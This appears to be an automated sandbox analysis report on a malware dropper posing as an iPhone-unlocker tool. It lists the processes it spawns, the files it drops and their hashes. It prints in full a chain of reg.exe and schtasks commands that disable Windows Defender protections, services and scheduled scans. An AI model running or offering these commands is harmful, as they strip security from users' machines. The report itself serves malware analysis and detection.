Analysis

  • max time kernel
    151s
  • max time network
    85s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 21:46

General

  • Target
    F816EA850ECA0A23B99541054EDDC2AC01971BB502DCF.exe
  • Size 16.0MB
  • Sample230116-1ml3qaea22
  • SHA256 f816ea850eca0a23b99541054eddc2ac01971bb502dcf1231dc02ed58282365f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\F816EA850ECA0A23B99541054EDDC2AC01971BB502DCF.exe
    "C:\Users\Admin\AppData\Local\Temp\F816EA850ECA0A23B99541054EDDC2AC01971BB502DCF.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Users\Admin\AppData\Roaming\PassFabiPhone.exe
      "C:\Users\Admin\AppData\Roaming\PassFabiPhone.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6D84.tmp\6D85.tmp\6D86.bat C:\Users\Admin\AppData\Roaming\PassFabiPhone.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4568
        • C:\Windows\system32\reg.exe
          reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
          4⤵
            PID:1636
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
            4⤵
              PID:2008
            • C:\Windows\system32\reg.exe
              reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
              4⤵
                PID:1524
              • C:\Windows\system32\reg.exe
                reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                4⤵
                  PID:2200
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                  4⤵
                    PID:4264
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:3172
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:3436
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:628
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:2420
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                    4⤵
                    • Modifies Windows Defender Real-time Protection settings
                    PID:3884
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                    4⤵
                      PID:1824
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                      4⤵
                        PID:3024
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                        4⤵
                          PID:2972
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                          4⤵
                            PID:3680
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                            4⤵
                              PID:3324
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                              4⤵
                                PID:4468
                              • C:\Windows\system32\schtasks.exe
                                schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                4⤵
                                  PID:316
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                  4⤵
                                    PID:4284
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                    4⤵
                                      PID:3776
                                    • C:\Windows\system32\schtasks.exe
                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                      4⤵
                                        PID:4396
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                        4⤵
                                          PID:4204
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                          4⤵
                                            PID:4152
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                            4⤵
                                              PID:2620
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                              4⤵
                                                PID:3220
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                4⤵
                                                  PID:3304
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                  4⤵
                                                    PID:2012
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                    4⤵
                                                      PID:3432
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                      4⤵
                                                        PID:2768
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                        4⤵
                                                          PID:5024
                                                        • C:\Windows\system32\reg.exe
                                                          reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                          4⤵
                                                            PID:1048
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                            4⤵
                                                            • Modifies security service
                                                            PID:1540
                                                      • C:\Users\Admin\AppData\Roaming\NanWin.exe
                                                        "C:\Users\Admin\AppData\Roaming\NanWin.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Drops startup file
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:2216
                                                      • C:\Users\Admin\AppData\Roaming\ParaWin.exe
                                                        "C:\Users\Admin\AppData\Roaming\ParaWin.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Drops startup file
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4580
                                                      • C:\Users\Admin\AppData\Roaming\iphone-unlocker.exe
                                                        "C:\Users\Admin\AppData\Roaming\iphone-unlocker.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetWindowsHookEx
                                                        • Suspicious use of WriteProcessMemory
                                                        PID:4628
                                                        • C:\Users\Admin\AppData\Local\Temp\is-394OL.tmp\iphone-unlocker.tmp
                                                          "C:\Users\Admin\AppData\Local\Temp\is-394OL.tmp\iphone-unlocker.tmp" /SL5="$E004A,15327349,546304,C:\Users\Admin\AppData\Roaming\iphone-unlocker.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:1648

                                                    Network

                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

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                                                          Downloads

                                                          6D86.bat

                                                          • Path C:\Users\Admin\AppData\Local\Temp\6D84.tmp\6D85.tmp\6D86.bat
                                                          • Size 4KB
                                                          • SHA256 9d2bfa4eb93d0026edafa2f6fdc06faa591be4334f739adae413247a7019fe8b
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          iphone-unlocker.tmp

                                                          • Path C:\Users\Admin\AppData\Local\Temp\is-394OL.tmp\iphone-unlocker.tmp
                                                          • Size 1.5MB
                                                          • SHA256 6eec90877ed23e5c8136c5d774ab13db441ae51730450b2fc15ef3d1ed8e982f
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          iphone-unlocker.tmp

                                                          • Path C:\Users\Admin\AppData\Local\Temp\is-394OL.tmp\iphone-unlocker.tmp
                                                          • Size 1.5MB
                                                          • SHA256 6eec90877ed23e5c8136c5d774ab13db441ae51730450b2fc15ef3d1ed8e982f
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          MicWinEdge.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicWinEdge.exe
                                                          • Size 412KB
                                                          • SHA256 a98866f6635b8a49a1231cc1b547d469c4cdc321732e36aa2e230460ae8e74a1
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          NanWin.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\NanWin.exe
                                                          • Size 412KB
                                                          • SHA256 a98866f6635b8a49a1231cc1b547d469c4cdc321732e36aa2e230460ae8e74a1
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          NanWin.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\NanWin.exe
                                                          • Size 412KB
                                                          • SHA256 a98866f6635b8a49a1231cc1b547d469c4cdc321732e36aa2e230460ae8e74a1
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          ParaWin.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\ParaWin.exe
                                                          • Size 335KB
                                                          • SHA256 829b0a54123b9105d688a6592ddf830f798f467c536c9f0833c7d4c0ae02d9a7
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          ParaWin.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\ParaWin.exe
                                                          • Size 335KB
                                                          • SHA256 829b0a54123b9105d688a6592ddf830f798f467c536c9f0833c7d4c0ae02d9a7
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          PassFabiPhone.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\PassFabiPhone.exe
                                                          • Size 20.0MB
                                                          • SHA256 5769ccef917fe78906c41ae332f08429401798483fa47a61fd8f90c77a2a3ce8
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          PassFabiPhone.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\PassFabiPhone.exe
                                                          • Size 20.0MB
                                                          • SHA256 5769ccef917fe78906c41ae332f08429401798483fa47a61fd8f90c77a2a3ce8
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          iphone-unlocker.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\iphone-unlocker.exe
                                                          • Size 15.1MB
                                                          • SHA256 94ea3520cfba9ac746b552df843e682cf6d2b11627759a216bd83aa95714c782
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          iphone-unlocker.exe

                                                          • Path C:\Users\Admin\AppData\Roaming\iphone-unlocker.exe
                                                          • Size 15.1MB
                                                          • SHA256 94ea3520cfba9ac746b552df843e682cf6d2b11627759a216bd83aa95714c782
                                                          • MD5 SHA1 SHA512 SSDEEP

                                                          memory/2216-155-0x0000000004EB0000-0x0000000004F42000-memory.dmp

                                                          memory/2216-148-0x00000000005A0000-0x000000000060E000-memory.dmp

                                                          memory/2216-151-0x0000000005550000-0x0000000005AF4000-memory.dmp

                                                          memory/4580-162-0x00000000058B0000-0x0000000005916000-memory.dmp

                                                          memory/4580-159-0x00000000055B0000-0x000000000564C000-memory.dmp

                                                          memory/4580-149-0x0000000000AA0000-0x0000000000AFC000-memory.dmp

                                                          memory/4628-158-0x0000000000400000-0x000000000048F000-memory.dmp

                                                          memory/4628-189-0x0000000000400000-0x000000000048F000-memory.dmp

                                                          memory/4628-146-0x0000000000400000-0x000000000048F000-memory.dmp